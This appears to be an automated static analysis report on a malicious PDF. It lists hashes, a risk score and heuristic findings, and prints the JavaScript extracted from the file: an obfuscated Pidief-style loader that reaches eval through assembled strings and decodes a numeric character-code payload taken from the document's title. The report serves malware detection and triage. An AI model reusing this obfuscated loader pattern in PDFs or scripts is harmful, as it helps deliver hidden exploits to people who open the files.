Malicious PDF — malware analysis report

Static analysis result for SHA-256 ff64ec5b006569b7…

MALICIOUS

PDF

44.9 KB First seen: 2026-05-09
MD5: ab8007620b52095346ed5a48d4a42f44 SHA-1: 95820d418cc69ba2511a54068e8fb4df177d6ff2 SHA-256: ff64ec5b006569b741e3d59491080cb0051039ed6752349349baa0fb279cec96
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The JavaScript's purpose is not fully discernible due to obfuscation, but its presence in a PDF is a strong indicator of an attack pattern aimed at exploiting vulnerabilities or delivering a malicious payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB102 474 bytes
SHA-256: 02cc57f78b7ebacf3fb7b3250373c066c5c451dbd43d3c6b741b3b9c3fc082f7
Preview script
First 1,000 lines of the extracted script
xfrnn='';
v='s'+'u';
try{try{qwe()}catch(a){gsdg()}}catch(e){v+=('wqg','b'+'st');}
qwe = ('webweb',v)[v+'r'];
t='le';
a=["e","a","n","b","w",'v','r'];
e=(t,qwe)()[a[0]+a[5]+a[1]+(a,t[0])];
tllg=e('ti'+'tle');
s=tllg.substr(t.length + 8,3)+'str';
q=tllg[s](1,(1,9));
rguu=e('S'+'tring.fro'+q);
q=tllg[s](14).split('u');;
e('k=q.length');
for (i = 0; i != k; i+=2) {
	sqm = parseInt(q[i+1]) + parseInt(('erybjkerl',q[i]));
	xfrnn += rguu(sqm);
}
e(xfrnn);

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